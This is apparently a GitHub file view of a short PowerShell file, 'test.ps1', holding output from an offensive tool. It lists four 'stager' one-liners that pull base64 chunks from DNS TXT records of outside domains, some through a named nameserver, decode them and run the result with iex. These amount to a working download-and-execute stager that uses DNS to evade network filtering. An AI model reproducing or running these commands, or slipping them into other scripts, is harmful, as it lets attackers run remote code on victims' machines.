-
Notifications
You must be signed in to change notification settings - Fork 25
Expand file tree
/
Copy pathtest.ps1
More file actions
11 lines (8 loc) · 1.01 KB
/
Copy pathtest.ps1
File metadata and controls
11 lines (8 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
[*] Stager using non-authoritative NS server (copied to clipboard):
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.ired.team")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
[*] Stager using authoritative NS server:
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.ired.team" greg.ns.cloudflare.com)[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
[*] Stager using non-authoritative NS server (copied to clipboard):
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.nodspot.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
[*] Stager using authoritative NS server:
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.nodspot.com" greg.ns.cloudflare.com)[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))